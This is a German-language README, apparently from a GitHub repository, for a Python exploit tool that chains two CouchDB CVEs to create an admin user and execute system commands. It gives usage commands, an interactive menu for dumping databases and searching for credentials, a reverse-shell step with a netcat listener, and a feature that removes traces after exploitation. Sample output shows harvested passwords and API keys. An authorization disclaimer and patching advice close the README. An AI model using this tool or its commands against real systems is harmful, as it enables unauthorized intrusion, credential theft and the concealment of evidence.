🚀 CouchDB Exploit - CVE-2017-12635 & CVE-2017-12636

📖 Überblick

Dieses Tool nutzt zwei kritische Schwachstellen in Apache CouchDB aus:

Wie es funktioniert

1. CVE-2017-12635: Nutzt inkonsistentes JSON-Parsing zwischen Erlang- und JavaScript-Parsern aus, um einen Admin-Benutzer zu erstellen
2. CVE-2017-12636: Nutzt den Admin-Zugriff, um einen bösartigen Query Server zu konfigurieren und Systembefehle auszuführen

🎯 Verwundbare Versionen

Schnellprüfung

curl http://target:5984/

If version is 1.x.x or 2.0.x/2.1.0 → VULNERABLE

✨ Funktionen

✅ Automatische Ausnutzung – Ein Befehl, um alle zu beherrschen

✅ Interaktive Shell – Benutzerfreundliche Befehlsschnittstelle

✅ Datenbank-Viewer – Alle Datenbanken und Dokumente durchsuchen

✅ Vollständige JSON-Anzeige – Gesamten Dokumentinhalt sehen

✅ Globale Suche – Schlüsselwörter über alle Datenbanken hinweg suchen

✅ Systembefehle – Beliebige Befehle auf dem Zielsystem ausführen

✅ Reverse Shell – Eine vollständige interaktive Shell erhalten

✅ Befehlsverlauf – Behalte den Überblick über deine Aktionen

✅ Automatische Bereinigung – Spuren nach der Ausnutzung entfernen

✅ Farbausgabe – Leicht zu lesen und zu verstehen

📦 Installation Voraussetzungen bash

Python 3.6+ required

python3 --version

Klonen & Installieren bash

Clone the repository

git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit

Install dependencies

pip install -r requirements.txt

Anforderungen txt

requests>=2.25.0 urllib3>=1.26.0

🚀 Nutzung Grundlegende Nutzung bash

Simple exploit

python3 couchdb-exploit.py -t <TARGET_IP> -p

Example

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

Befehlszeilenoptionen bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)

💻 Befehle

Nach der Ausnutzung erhältst du eine interaktive Shell: Befehl Beschreibung Beispiel db Alle Datenbanken mit Dokumentanzahl anzeigen db view ALLE Dokumente in einer Datenbank anzeigen (vollständiges JSON) view passwords raw Rohe Serverantwort anzeigen raw admin count Dokumente in einer Datenbank zählen count users search Nach einem Schlüsselwort in ALLEN Datenbanken suchen search admin exec Einen Systembefehl ausführen exec whoami reverse Reverse Shell einrichten reverse 10.0.0.1 4444 history Befehlsverlauf anzeigen history help Dieses Menü anzeigen help exit Beenden mit Bereinigung exit

📊 Beispiele

1. Alle Datenbanken auflisten bash

couchdb> db

[+] 39 databases:

1. _replicator (0 docs)

2. _users (12 docs)

3. admin (5 docs)

4. passwords (25 docs)

5. core-configuration (8 docs) ...

6. Datenbankinhalt anzeigen bash

couchdb> view passwords

[+] Viewing database: passwords

[*] Total documents: 25

📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "[email protected]", "role": "superadmin" }

3. Nach Anmeldedaten suchen bash

couchdb> search password

[+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

4. Systembefehle ausführen bash

couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

5. Reverse Shell bash

On your machine (listener)

nc -lvnp 4444

In the exploit

couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!

You should get a shell on your listener!

🖼️ Screenshots Exploit in Aktion

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Datenbankansicht

https://via.placeholder.com/800x400?text=Database+View Reverse Shell

https://via.placeholder.com/800x400?text=Reverse+Shell

⚠️ Haftungsausschluss

WICHTIG: Dieses Tool dient nur zu Bildungs- und autorisierten Testzwecken.

    🚫 Nicht auf Systemen ohne ausdrückliche Genehmigung verwenden

    🚫 Der Autor ist nicht verantwortlich für jeglichen Missbrauch

    🚫 Nur in kontrollierten Umgebungen oder auf eigenen Systemen verwenden

    ✅ Vor dem Testen immer eine schriftliche Genehmigung einholen

    ✅ Verantwortungsvolle Offenlegungspraktiken befolgen

Durch die Nutzung dieses Tools stimmst du diesen Bedingungen zu.

🔐 Sicherheitstipps

Wenn du Systemadministrator bist:

Sofort auf CouchDB ≥ 1.7.0 oder ≥ 2.1.1 aktualisieren

Firewall verwenden, um den Zugriff auf Port 5984 einzuschränken

Authentifizierung aktivieren und starke Passwörter verwenden

Protokolle auf verdächtige Aktivitäten überwachen

Regelmäßige Sicherheitsüberprüfungen deiner Infrastruktur

Schnellkorrektur bash

Upgrade CouchDB

sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version

Restrict access

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 Referenzen

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

Apache CouchDB Security

Exploit-DB

👤 Autor

darabium

GitHub: @darabium

Telegram: @darabium

⭐ Unterstützung

Wenn du das nützlich findest:

⭐ Gib dem Repository einen Stern

🐛 Melde Probleme

🔧 Trage Verbesserungen bei

📢 Teile es mit anderen

📄 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.